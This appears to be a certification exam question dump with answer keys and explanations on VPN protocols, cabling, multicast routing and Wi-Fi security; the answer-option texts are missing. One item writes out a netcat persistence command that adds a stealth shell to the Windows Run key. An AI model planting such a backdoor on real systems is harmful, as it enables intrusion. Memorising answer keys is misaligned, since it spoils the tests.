Which of the following is a standard-based protocol that provides the highest level of VPN security?
Answer(s): D
Internet Protocol Security (IPSec) is a standard-based protocol that provides the highest level of VPN security. IPSec can encrypt virtually everything above the networking layer. It is used for VPN connections that use the L2TP protocol. It secures both data and password. IPSec cannot be used with Point-to-Point Tunneling Protocol (PPTP).Answer option B is incorrect. The Internet Protocol (IP) is a protocol used for communicating data across a packet-switched inter-network using the Internet Protocol Suite, also referred to as TCP/IP.IP is the primary protocol in the Internet Layer of the Internet Protocol Suite and has the task of delivering distinguished protocol datagrams (packets) from the source host to the destination host solely based on their addresses. For this purpose, the Internet Protocol defines addressing methods and structures for datagram encapsulation. The first major version of addressing structure, now referred to as Internet Protocol Version 4 (IPv4), is still the dominant protocol of the Internet, although the successor, Internet Protocol Version 6 (IPv6), is being deployed actively worldwide.Answer option C is incorrect. Point-to-Point Protocol (PPP) is a remote access protocol commonly used to connect to the Internet. It supports compression and encryption and can be used to connect to a variety of networks. It can connect to a network running on the IPX, TCP/IP, or NetBEUI protocol. It supports multi- protocol and dynamic IP assignments. It is the default protocol for the Microsoft Dial-Up adapter.Answer option A is incorrect. Layer 2 Tunneling Protocol (L2TP) is a more secure version of Point-to-Point Tunneling Protocol (PPTP). It provides tunneling, address assignment, and authentication. It allows the transfer of Point-to-Point Protocol (PPP) traffic between different networks. L2TP combines with IPSec to provide tunneling and security for Internet Protocol (IP), Internetwork Packet Exchange (IPX), and other protocol packets across IP networks.
You run the following command on the remote Windows server 2003 computer:c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -ecmd.exe"What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.
Answer(s): B,C,D
According to the question, you run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -ecmd.exe"By running this command, you want to perform the following tasks:Adding the NetCat command in the following registry value: HKLM\Software\Microsoft\Windows\CurrentVersion\RunPutting the Netcat in the stealth mode by using the -d switch. Setting the Netcat tool to execute command at any time by using the -e switch.Answer option A is incorrect. You can perform banner grabbing by simply running the nc <host> <port>.
Which of the following UTP cables uses four pairs of twisted cable and provides transmission speeds of up to 16 Mbps?
Answer(s): B
Category 3 type of UTP cable uses four pairs of twisted cable and provides transmission speeds of up to 16 Mbps. They are commonly used in Ethernet networks that operate at the speed of 10 Mbps. A higher speed is also possible by these cables implementing the Fast Ethernet (100Base-T4) specifications. This cable is used mainly for telephone systems.Answer option C is incorrect. This category of UTP cable is the most commonly used cable in present day networks. It consists of four twisted pairs and is used in those Ethernet networks that run at the speed of 100 Mbps. Category 5 cable can also provide a higher speed of up to 1000 Mbps.Answer option A is incorrect. It is also known as Category 5 Enhanced cable. Its specification is the same as category 5, but it has some enhanced features and is used in Ethernets that run at the speed of 1000 Mbps. Answer option D is incorrect. This category of UTP cable is designed to support high-speed networks that run at the speed of 1000 Mbps. It consists of four pairs of wire and uses all of them for data transmission. Category 6 provides more than twice the speed of Category 5e, but is also more expensive.
Which of the following protocols is used for inter-domain multicast routing and natively supports "source- specific multicast" (SSM)?
Answer(s): A
BGMP stands for border gateway multicast protocol. It is used for inter-domain multicast routing and natively supports "source-specific multicast" (SSM). In order to support "any-source multicast" (ASM), BGMP builds shared trees for active multicast groups. This allows domains to build source-specific, inter-domain, distribution branches where needed. BGMP uses TCP as its transport protocol, which helps in eliminating the need to implement message fragmentation, retransmission, acknowledgement, and sequencing.Answer option B is incorrect. The Distance Vector Multicast Routing Protocol (DVMRP) is used to share information between routers to transport IP Multicast packets among networks. It uses a reverse path-flooding technique and is used as the basis for the Internet's multicast backbone (MBONE). In particular, DVMRP is notorious for poor network scaling, resulting from reflooding, particularly with versions that do not implement pruning. DVMRP's flat unicast routing mechanism also affects its capability to scale.Answer option D is incorrect. EIGRP is a Cisco proprietary protocol. It is an enhanced version of IGRP. It has faster convergence due to use of triggered update and saving neighbor's routing table locally. It supports VLSM and routing summarization. As EIGRP is a distance vector protocol, it automatically summarizes routes across Class A, B, and C networks. It also supports multicast and incremental updates and provides routing for three routed protocols, i.e., IP, IPX, and AppleTalk.Answer option C is incorrect. Open Shortest Path First (OSPF) is a routing protocol that is used in large networks. Internet Engineering Task Force (IETF) designates OSPF as one of the Interior Gateway Protocols. A host uses OSPF to obtain a change in the routing table and to immediately multicast updated information to all the other hosts in the network.
You have just set up a wireless network for customers at a coffee shop. Which of the following are good security measures to implement? Each correct answer represents a complete solution. (Choose two.)
Answer(s): A,C
With either encryption method (WEP or WPA), you can give the password to the customers who need it, and even change it frequently (daily if you like). So this won't be an inconvenience for the customers.
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